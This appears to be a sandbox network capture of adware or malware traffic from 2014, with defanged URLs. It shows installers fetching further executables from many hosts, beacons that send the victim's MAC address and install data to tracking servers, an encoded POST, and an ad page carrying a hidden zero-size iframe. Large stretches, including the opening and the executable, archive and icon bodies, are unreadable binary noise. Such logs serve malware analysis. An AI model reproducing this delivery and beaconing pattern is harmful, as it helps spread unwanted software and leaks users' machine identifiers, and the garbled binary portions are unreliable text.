....=.a.G...T,~T....7.........8.M'.j@...\*...t.)].i..Q.m.S...d...t]M.F
[email protected].../LR.;...0......s..w1.v.5.$...E..`A&
lt;zL....J.J.A....G~......T.i"j.....XZ..k.....a....&B.HI......}k.*w...
.V..iti.....K...W....D(0.h.'..>h.5........k04.v/h...s_V}.?P ......9
j!*.O.}.Kc.;`.....D..y}..=.....=R..G..........F............&.TZ.....w.
...h....h..{.G....P:.l$...r..G.6...'..F.z...x..Lo9a.#....[...K.F......
....V...............}.wi..........5Y....b..Q.....^.c.e..x..V&Rh.ZW.<
;..f.h5....ECpS..N.o....5A".......%.sM...n..vy"a..I.._.\x.V)S.ZB.x.A,\
..i.$ ....U....w.D...pF..F.WV....h..#-.....P5.v'M\.....{}..#...2...'..
^...7..s^..L..%..0.....<jJ....T_.o.F.....veX.D..v..U......w...E]5y%
.d.6...ex=..1"..I..n...b...w3Q........cr..6.zyd................./| ...
.]bg... ..b.=..vm......i~D6....m;A.........(W..4k).^.......UpV.h.....Y
[email protected]..{.!U.{#.y|..=.>eu..751.Sl.D...M.9#....cJK..
....j.......J/...b|.YW...Y.T.r......Z..v*s.....d......z|...`.......L4.
8....:S.........f....hp......\7.w..?....g?......z.y<.{6.!eUV..?....
..[$..<./........./.t..f..7.[......i\.*8|_..2.....I...'x>..;M1.|
.K..-B...g#.3.IY.J...E--5Zk.l.-K..o...C.9^;..v$G.%%.*d.........!../E&g
t;..]....'/.......Fi.....C(<..h:.M...4bN...Zx....F..Z.......?L.
<<< skipped >>>

GET /fwtj.ashx?v=1.14.820.1 HTTP/1.0

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: updatetest.wuji.com

Pragma: no-cache

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Thu, 18 Sep 2014 00:17:58 GMT

Content-Type: text/html

Connection: close
0A0..

GET /stj.ashx?v=1.14.820.1&t=41 HTTP/1.1

Host: updatetest.wuji.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Thu, 18 Sep 2014 00:17:55 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive
3..0A0..0..HTTP/1.1 200 OK..Server: nginx/1.6.1..Date: Thu, 18 Sep 201
4 00:17:55 GMT..Content-Type: text/html..Transfer-Encoding: chunked..C
onnection: keep-alive..3..0A0..0..

GET /tc.htm HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://adsvc2.9365.info/ad/softad/popup.htm

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: adsvc1.haoda123.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Length: 1308

Content-Type: text/html

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:14:33 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "hXXp://VVV.w3.or
g/TR/html4/strict.dtd">..<HTML><HEAD><TITLE>.....
.......</TITLE>..<META HTTP-EQUIV="Content-Type" Content="tex
t/html; charset=GB2312">..<STYLE type="text/css">..  BODY { f
ont: 9pt/12pt .... }..  H1 { font: 12pt/15pt .... }..  H2 { font: 9pt/
12pt .... }..  A:link { color: red }..  A:visited { color: maroon }..&
lt;/STYLE>..</HEAD><BODY><TABLE width=500 border=0 c
ellspacing=10><TR><TD>..<h1>............</h1&g
t;....................................................<hr>..<
p>................</p>..<ul>..<li>...............
.........................................</li>..<li>......
......................................................................
......</li>..<li>....<a href="javascript:history.back(1
)">....</a>....................</li>..</ul>..<
h2>HTTP .... 404 - ..................<br>Internet ........ (I
IS)</h2>..<hr>..<p>..............................<
;/p>..<ul>..<li>.... <a href="hXXp://go.microsoft.co
m/fwlink/?linkid=8180">Microsoft ............</a>..........&l
dquo;HTTP”..“404”........</li>..<li>....
“IIS ....”...... IIS ...... (inetmgr) ....................
....“........”..“............”..“.......
...........”........</li>..</ul>..</TD><
<<< skipped >>>

GET /stat.php?id=4327411&web_id=4327411&show=pic HTTP/1.1

Accept: */*

Referer: hXXp://adsvc2.9365.info/count/softcount/?pwc

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s85.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Date: Thu, 18 Sep 2014 00:16:56 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Thu, 18 Sep 2014 00:16:56 GMT

Expires: Thu, 18 Sep 2014 01:46:56 GMT
1f7a..(function(){function l(){this.c="4327411";this.O="z";this.K="pic
";this.H="";this.J="";this.o="1410999416";this.M="hzs2.cnzz.com";this.
I="";this.q="CNZZDATA" this.c;this.p="_CNZZDbridge_" this.c;this.C="_c
nzz_CV" this.c;this.s="0";this.v={};this.a={};this.ia()}function g(a,c
){try{var b=[];b.push("siteid=4327411");.b.push("name=" f(a.name));b.p
ush("msg=" f(a.message));b.push("r=" f(h.referrer));b.push("page=" f(d
.location.href));b.push("agent=" f(d.navigator.userAgent));b.push("ex=
" f(c));b.push("rnd=" Math.floor(2147483648*Math.random()));(new Image
).src="hXXp://jserr.cnzz.com/log.php?" b.join("&")}catch(e){}}var h=do
cument,d=window,f=encodeURIComponent,k=decodeURIComponent,p=unescape,q
=escape;l.prototype={ia:function(){try{this.R(),this.G(),this.fa(),thi
s.D(),this.l(),this.da(),this.ca(),this.ga(),this.i(),.this.ba(),this.
ea(),this.ha(),this.$(),this.Y(),this.aa(),this.na(),d[this.p]=d[this.
p]||{},this.Z("_cnzz_CV")}catch(a){g(a,"i failed")}},la:function(){try
{var a=this;d._czc={push:function(){return a.w.apply(a,arguments)}}}ca
tch(c){g(c,"oP failed")}},Y:function(){try{var a=d._czc;if("[object Ar
ray]"==={}.toString.call(a))for(var c=0;c<a.length;c  ){var b=a[c];
switch(b[0]){case "_setAccount":d._cz_account="[object String]"==={}.t
oString.call(b[1])?b[1]:String(b[1]);break;case "_setAutoPageview":"bo
olean"===.typeof b[1]&&(d._cz_autoPageview=b[1])}}}catch(e){g(e,"cS fa
iled")}},na:function(){try{if("undefined"===typeof d._cz_account||d._c
z_account===this.c){d._cz_account=this.c;if("[object Array]"==={}.
<<< skipped >>>

GET /280cf9c20714744ccd17e57f66106dc70000000000370d38/9291/15474/setup_2949-14598.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: 175.6.4.178

HTTP/1.1 200 OK

Server: nginx/1.4.3

Date: Thu, 18 Sep 2014 00:17:07 GMT

Content-Type: application/octet-stream

Content-Length: 3607864

Last-Modified: Mon, 22 Jul 2013 07:13:16 GMT

Connection: keep-alive

ETag: "51ecdb8c-370d38"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......A...........
......;.....j.=.....j...u...j... ..... .......0.............j.......j.
9.....j.>.....Rich............................PE..L......Q.........
........6....5..............P....@[email protected]
...@.................................<.............5...........6.8'
....7. [email protected].......
.....................text....5.......6.................. ..`.rdata..tW
...P...X...:..............@[email protected]..........................@...
.rsrc.....5.......5.................@[email protected]..&>[email protected]....
[email protected].........................................................
......................................................................
......................................................................
......................................................................
.....................................................U..j.h.DA.d.....P
...SV.$.A.3.P.E.d......u..50.A.3..]..F<j....rA..F..rA..F..rA..F..rA
..F..sA..F,....f.F0...^4h.sA.P.F8....x...F8.X..E..h.....F|............
.....7s......E..E..;.t.P.......3.S.M.Q.V.R.F4.E......]..]..]...`RA....
M.d......Y^[..].................U..j.hCEA.d.....P..T....$.A.3..E.SVWP.
E.d......................M....E......{1.t.h......<QA..{4.......j.h.
[email protected](........5.QA.j...j.....j.h<sA......QA..M.QP..PRA..
U. U.j.h....h......2j...P......W.......O(Q..0RA..W(j.R...RA..G(jCj
<<< skipped >>>

POST /cstat.php HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; VVV.eliang.com)

Host: stat.eliang.com

Content-Length: 204

Cache-Control: no-cache

#237348652

PGdgJjw2bB0QdxlpHWYCF1tbP0F3allZIW9gIy9bd2pZXzkmbBhQWjlnZgBkfmIFaAN6an8deWNhGmk/Ii1uHXlhfRxrBGZvZhhhZmYaaD8jM24eeWJ9GHYEempiADQiIUU/RhVvDB1lYmkHP00vUDBFMW9gHWgEc3ZhH2RlaB1vDX9sfx5tYGgdYgd/aWA=
HTTP/1.1 200 OK

Server: nginx

Date: Thu, 18 Sep 2014 00:17:26 GMT

Content-Type: text/html

Content-Length: 1

Connection: keep-alive
0..

GET /9.gif?abc=1&rnd=879903237 HTTP/1.1

Accept: */*

Referer: hXXp://adsvc2.9365.info/count/softcount/?pwc

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cnzz.mmstat.com

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: Tengine

Date: Thu, 18 Sep 2014 00:16:58 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=ehKhDDcf y8CAcGK9OfwIiB ; expires=Sun, 15-Sep-24 00:16:58 GMT; path=/; domain=.mmstat.com

Set-Cookie: sca=55f33414; path=/; domain=.cnzz.mmstat.com

Set-Cookie: atpsida=6af4cab89912e5d826d1b53a_1410999418; expires=Sun, 15-Sep-24 00:16:58 GMT; path=/; domain=.cnzz.mmstat.com

Location: hXXp://pcookie.cnzz.com/app.gif?&cna=ehKhDDcf y8CAcGK9OfwIiB 

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server:
 Tengine..Date: Thu, 18 Sep 2014 00:16:58 GMT..Content-Type: image/gif
..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CUR
a ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=ehKhDDcf y
8CAcGK9OfwIiB ; expires=Sun, 15-Sep-24 00:16:58 GMT; path=/; domain=.m
mstat.com..Set-Cookie: sca=55f33414; path=/; domain=.cnzz.mmstat.com..
Set-Cookie: atpsida=6af4cab89912e5d826d1b53a_1410999418; expires=Sun, 
15-Sep-24 00:16:58 GMT; path=/; domain=.cnzz.mmstat.com..Location: htt
p://pcookie.cnzz.com/app.gif?&cna=ehKhDDcf y8CAcGK9OfwIiB ..Expires: T
hu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cach
e..GIF89a.............!.......,...........L..;..

POST /report/install HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*

Accept-Language: en-us

User-Agent: Mozilla/4.0

Content-Length: 95

Host: API.TUPIAN8.CN

Content-Type: application/x-www-form-urlencoded

data=pid=juese.exe.sn=a-zm-157391-v5.exe.mac=000c298a8b37.sign=caffe9902757bc952e61973b93c16d40
HTTP/1.1 200 OK

Server: nginx/1.2.0

Date: Thu, 18 Sep 2014 00:18:00 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 2

Connection: close

P3P: CP="UNI CUR OUR", policyref="/w3c/p3p.xml"
ok..

GET /appupdate/ver.txt HTTP/1.1

Host: update.yinyue.fm

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: text/plain

Last-Modified: Tue, 18 Jun 2013 05:57:08 GMT

Accept-Ranges: bytes

ETag: "32a6e0aae86bce1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:18:05 GMT

Content-Length: 36
[appver]..ver=1.0..ver2=20130606..HTTP/1.1 200 OK..Content-Type: text/
plain..Last-Modified: Tue, 18 Jun 2013 05:57:08 GMT..Accept-Ranges: by
tes..ETag: "32a6e0aae86bce1:0"..Server: Microsoft-IIS/7.5..X-Powered-B
y: ASP.NET..Date: Thu, 18 Sep 2014 00:18:05 GMT..Content-Length: 36..[
appver]..ver=1.0..ver2=20130606..

GET /kbtongji.asp?sn=sjss_jing_zhimeng_217.exe&tmac=8a0c008b3729&action=kb&ver=0.4 HTTP/1.1

User-Agent: LETITGO

Host: updateinfo.yyhsj.cn

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 18 Sep 2014 00:17:54 GMT

Server: Microsoft-IIS/6.0

Content-Length: 2

Content-Type: text/html

Set-Cookie: ASPSESSIONIDQQDSSCRR=MEDDEKNAAHFBPBIPAFDAHEDO; path=/

Cache-control: private
OKHTTP/1.1 200 OK..Date: Thu, 18 Sep 2014 00:17:54 GMT..Server: Micros
oft-IIS/6.0..Content-Length: 2..Content-Type: text/html..Set-Cookie: A
SPSESSIONIDQQDSSCRR=MEDDEKNAAHFBPBIPAFDAHEDO; path=/..Cache-control: p
rivate..OK..

GET /a.ashx?v=51856086832E9ADB347D74A1629E1CFEB5DC550C165417452F22832D24A951CAAFFC03962B62E52CCBF64CA69B5AF643186FDCD5FBEAC2F2F99B14F7904EE489ACB7D5F447E350A705904461522CDC97865D9D861FB35CB7248760DE2BB230184CB1882A5F42401CB6EB7ECD8659BA964F712249A8AFF852125B284DE3F595E4604E0B1FF6D36DC4 HTTP/1.1

Host: tongji.yinyue.fm

Cache-Control: no-cache

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:15:41 GMT

Content-Length: 3
100HTTP/1.1 200 OK..Cache-Control: private..Content-Type: text/html; c
harset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..
X-Powered-By: ASP.NET..Date: Thu, 18 Sep 2014 00:15:41 GMT..Content-Le
ngth: 3..100..

GET /tqrl_89_177560.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: down.tianyunxj.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 18 Sep 2014 00:17:30 GMT

Content-Length: 3098224

Content-Type: application/octet-stream

Last-Modified: Sat, 13 Sep 2014 01:10:57 GMT

Connection: Keep-Alive

ETag: "6c7c992efcecf1:1819"

Content-Location: hXXp://down.tianyunxj.com/setup.exe?404;hXXp://down.tianyunxj.com:80/tqrl_89_177560.exe

Accept-Ranges: bytes

Server: Microsoft-IIS/6.0

Fw-Via: MISS from cnc-sd-153-130.fcd, DISK HIT from ctl-gx-254-147.fcd
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......B.e|.../.../
.../.../.../..T/.../..V/.../.../.../R.;/.../e.!/.../.../.../..Q/.../Ri
ch.../........................PE..L......N.................t..........
.>[email protected]................
..................................k.......... )/.P....................
......................................................................
..text....s.......t.................. ..`.rdata..Z............x.......
.......@[email protected][email protected]...`...`.....
......................rsrc....k.......l..................@..@.........
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
....._B..H.P.u..u..u...\[email protected]._B..E.WP.u...`[email protected]...
d.@..}[email protected]... M.......M....3.....FQ.....NU..M..
........VT..U.....FP..E...............E.P.M...H.@..E...E.P.E.P.u...h.@
..u....E..9}[email protected].}[email protected]
[email protected][email protected] [email protected].@._
^3.[.....L$..(_B...Si.....VW.T.....tO.q.3.;5,_B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5,_B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /dc/setup/install/2.0.1.1001/c654925393ae14277410758bb43bb4ec/2561/28/1970-1-1/?result=succ HTTP/1.1

Host: appledesktop.sinaapp.com

Connection: Keep-Alive

HTTP/1.1 204 NO CONTENT

Server: nginx/1.4.4

Date: Thu, 18 Sep 2014 00:17:27 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 0

Connection: keep-alive

via: yq26.pyruntime

Set-Cookie: saeut=CkMPGlQaJJckXHMaBsTpAg==; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/
HTTP/1.1 204 NO CONTENT..Server: nginx/1.4.4..Date: Thu, 18 Sep 2014 0
0:17:27 GMT..Content-Type: text/html; charset=utf-8..Content-Length: 0
..Connection: keep-alive..via: yq26.pyruntime..Set-Cookie: saeut=CkMPG
lQaJJckXHMaBsTpAg==; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/..

GET /foxd/gz?file=SohuNewPlayer.exe&new=/212/10/LX1gaYhp2TxOw4UbWrnLg7.exe HTTP/1.1

Accept: */*

Host: data.vod.itc.cn

Content-Length: 0

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 302 Found

Server: nginx

Date: Thu, 18 Sep 2014 00:17:11 GMT

Content-Length: 0

Connection: close

X-CDN-Type: 0

Location: hXXp://58.216.27.32/sohu/s26h23eab6/ifox/TGogo6wdTGwyTAuHoaX1aa1yov-UE3tAkah9tliosGtNs91v/SohuNewPlayer.exe

GET /ad/softad/popup.htm HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: adsvc2.9365.info

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 627

Content-Type: text/html

Last-Modified: Tue, 06 Nov 2012 14:53:24 GMT

Accept-Ranges: bytes

ETag: "147dba782ebccd1:1cc1"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:14:29 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xm
lns="hXXp://VVV.w3.org/1999/xhtml">..<head>..<meta http-eq
uiv="Content-Type" content="text/html; charset=gb2312" />..<titl
e>........</title>..<script type="text/javascript" src="ht
tp://cbjs.baidu.com/js/s.js"></script>..</head>..<bo
dy>..<iframe src="hXXp://adsvc1.haoda123.com/tc.htm" scrolling="
no" frameborder="0" height="0" width="0" allowtransparency="true"  bor
der="0" style="width:100%"></iframe>..<script type="text/j
avascript">BAIDU_CLB_singleFillSlot("98364");</script>..</
body>..</html>HTTP/1.1 200 OK..Content-Length: 627..Content-T
ype: text/html..Last-Modified: Tue, 06 Nov 2012 14:53:24 GMT..Accept-R
anges: bytes..ETag: "147dba782ebccd1:1cc1"..Server: Microsoft-IIS/6.0.
.X-Powered-By: ASP.NET..Date: Thu, 18 Sep 2014 00:14:29 GMT..<!DOCT
YPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w
3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http
://VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Cont
ent-Type" content="text/html; charset=gb2312" />..<title>....
....</title>..<script type="text/javascript" src="hXXp://cbjs
.baidu.com/js/s.js"></script>..</head>..<body>..&
lt;iframe src="hXXp://adsvc1.haoda123.com/tc.htm" scrolling="no" frame
border="0" height="0" width="0" allowtransparency="true"  border="
<<< skipped >>>

GET /9291/25605/sjss_jing_zhimeng_217.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: download.grandcloud.cn

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Server: nginx/1.7.2

Date: Thu, 18 Sep 2014 00:17:05 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 101

Connection: keep-alive

Location: hXXp://183.61.184.37/02aab2d719917873b95f7e285991ad620000000000082370/9291/25605/sjss_jing_zhimeng_217.exe
<html><head><title>Moved Temporarily</title>&l
t;/head><body><h1>302 Moved Temporarily</h1></
body></html>HTTP/1.1 302 Moved Temporarily..Server: nginx/1.7
.2..Date: Thu, 18 Sep 2014 00:17:05 GMT..Content-Type: text/html; char
set=utf-8..Content-Length: 101..Connection: keep-alive..Location: http
://183.61.184.37/02aab2d719917873b95f7e285991ad620000000000082370/9291
/25605/sjss_jing_zhimeng_217.exe..<html><head><title>
;Moved Temporarily</title></head><body><h1>302
 Moved Temporarily</h1></body></html>..

GET /htop/htop_x.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Connection: Keep-Alive

Host: 20140918081631105.wangendong.com

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Fri, 01 Aug 2014 07:30:54 GMT

Accept-Ranges: bytes

ETag: "22e676875aadcf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:17:19 GMT

Content-Length: 2017736
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1H..u)..u)..
u)...&..w)..u)...)...&..d)...6...).../..t)..Richu)..........PE..L.....
:J.................\..........!1.......p....@.........................
........>........................................s....... ...m.....
.....H................................................................
p...............................text...8Z.......\.................. ..
`.rdata.......p.......`..............@[email protected].......
[email protected][email protected]... ...n.
..v..............@..@.................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
....h>[email protected]>[email protected].
P.u...Pr@..}..e..9}[email protected]........ M............U....M....
3...3..FQ......3..NU.....M..........VT..U.....FP..E...............E.P.
[email protected]@..u....E..9}[email protected].
}[email protected]@[email protected] ...Pj.h`6B.W..X
[email protected]...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q
.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...
<<< skipped >>>

GET /tjapis.php?mac=000C298A8B37&st=1&exez=tqrl_89_177560.exe&exef=axuls.exe&pass=7a41a5df85b86824a6d2d5418a8cd43e&url1=hXXp://ya.ru/&url2=ya HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: union.yoyolm.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 18 Sep 2014 00:17:58 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: PHP/5.3.24

Set-Cookie: yuyuapi=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT

Content-type: text/html

Content-Length: 91
...193.138.244.23125..<meta http-equiv="Content-Type" content="text
/html; charset=utf-8">..HTTP/1.1 200 OK..Date: Thu, 18 Sep 2014 00:
17:58 GMT..Server: Microsoft-IIS/6.0..X-Powered-By: PHP/5.3.24..Set-Co
okie: yuyuapi=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT..Content-
type: text/html..Content-Length: 91.....193.138.244.23125..<meta ht
tp-equiv="Content-Type" content="text/html; charset=utf-8">....

GET /Update.rar HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: update.yinyue.fm

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Thu, 04 Sep 2014 05:13:26 GMT

Accept-Ranges: bytes

ETag: "53e0e0f4fec7cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 18 Sep 2014 00:18:09 GMT

Connection: keep-alive

Content-Length: 5771
.....................khkh...4;*2*2)/.$..1.-<..)..*2*2)/.&.9. ...)..
............................khkh.1#...=Á.(1..5..*.P.................
.........................................khkh..',; V E.$..1.-<..)..
.A4;.',; V E.$..1.-<..)...A.D'O.:..5..*.P..A.D'O.:.A.D...6.\,O..A.D
'O.:...6.\,O.khkh........................................khkh.'-&".E0.
.*2. .9.'-&".E0.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~.*2. .9~.....~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~....
..........khkh.*J,"$V-Q..'-.J*J,"~- 4.$V-Q..Q48*J$V2.....$V-Q2......3$
V4(...............>.6.*J,"$V-Q(./G(0..Q48*J$V..5U(0.*J$V ...5U(0.!2
"A*J$V ...(.(.$V-Q5(/....3$V4(...>.6.kh.$V-Q.5.M.*J$V .'[.."..G..3$
V4(........#-.5(/.....................................................
.......khkh.................Q48$V-Q..5.5..A18.Q48(.1!."*J$V2......3$V4
(.....D...=.................khkh.......0D%Q. .$..1.-<..)...........
.....................................................khkh...'.&./. V E
.$..1.-<..)..!.#.1...5..Z................................khkh......
......................................................................
......................................................................
.............khkh.....................................................
......................................................................
.............)7.)5.!D..5..*.P.khkh.....................)7.)5.!D..4X.*.
P........~........~.......~..........~..............;&)~..~)7.)...4.*.
P. ....5.."...!Y.$.khkhkh.&3.X.K..5..*.P..........................
<<< skipped >>>

GET /link/140896/setup_2948-140896.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: click.t3nlink.com

Connection: Keep-Alive

HTTP/1.1 302 FOUND

Server: nginx/1.0.10

Date: Thu, 18 Sep 2014 00:17:10 GMT

Content-Type: text/html; charset=utf-8

Connection: keep-alive

Content-Length: 303

Location: hXXp://down.yinyue.fm/open/setup_2948-140896.exe

Set-Cookie: gid=4cac5beee6a24f658b915b61dcaaab10; Domain=.jxvector.com; expires=Wed, 13-Sep-2034 08:17:10 GMT; Max-Age=630720000; Path=/

Cache-Control: no-cache

P3P: CP="UNI CUR OUR", policyref="/w3c/p3p.xml"

CWaueeKey: 1410999430
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">.<titl
e>Redirecting...</title>.<h1>Redirecting...</h1>.
<p>You should be redirected automatically to target URL: <a h
ref="hXXp://down.yinyue.fm/open/setup_2948-140896.exe">hXXp://down.
yinyue.fm/open/setup_2948-140896.exe</a>.  If not click the link
.HTTP/1.1 302 FOUND..Server: nginx/1.0.10..Date: Thu, 18 Sep 2014 00:1
7:10 GMT..Content-Type: text/html; charset=utf-8..Connection: keep-ali
ve..Content-Length: 303..Location: hXXp://down.yinyue.fm/open/setup_29
48-140896.exe..Set-Cookie: gid=4cac5beee6a24f658b915b61dcaaab10; Domai
n=.jxvector.com; expires=Wed, 13-Sep-2034 08:17:10 GMT; Max-Age=630720
000; Path=/..Cache-Control: no-cache..P3P: CP="UNI CUR OUR", policyref
="/w3c/p3p.xml"..CWaueeKey: 1410999430..<!DOCTYPE HTML PUBLIC "-//W
3C//DTD HTML 3.2 Final//EN">.<title>Redirecting...</title&
gt;.<h1>Redirecting...</h1>.<p>You should be redirec
ted automatically to target URL: <a href="hXXp://down.yinyue.fm/ope
n/setup_2948-140896.exe">hXXp://down.yinyue.fm/open/setup_2948-1408
96.exe</a>.  If not click the link...
<<< skipped >>>

GET /ico.ico HTTP/1.0

Host: VVV.meimotuan.com

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Date: Thu, 18 Sep 2014 00:17:57 GMT

Server: Apache/2.2.15 (CentOS)

Last-Modified: Wed, 18 Jun 2014 06:03:51 GMT

ETag: "e8901-25be-4fc16063d5483"

Accept-Ranges: bytes

Content-Length: 9662

Connection: close

Content-Type: image/vnd.microsoft.icon
......00.... ..%......(...0...`..... ......$...................}...}..
.}...}...}...}...}...}...}...}...}...}...}...}...}...}...}...}...|...~
.......}...q...c..._...`...`..._...^...^...^...^...^...^...^...^...^..
.^...^...^...^...^...^...^...^...^...^...^...}...}...}...}...}...}...}
...}...}...}...}...}...}...}...}...}...}...~.......{...e...V...V...Y..
.X..}S..}R...Y..._...`...^...^...^...^...^...^...^...^...^...^...^...^
...^...^...^...^...^...^...}...}...}...}...}...}...}...}...}...}...}..
.}...}...}...}...}.......}...j...[...............................o..~U
...W..._..._...^...^...^...^...^...^...^...^...^...^...^...^...^...^..
.^...^...}...}...}...}...}...}...}...}...}...}...}...}...}...|...~...~
...t..._...`...........................................x..}T...\...`..
.^...^...^...^...^...^...^...^...^...^...^...^...^...^...^...}...}...}
...}...}...}...}...}...}...}...}...}...}.......{...i...\..~V..........
.............................................\...Y...`...^...^...^...^
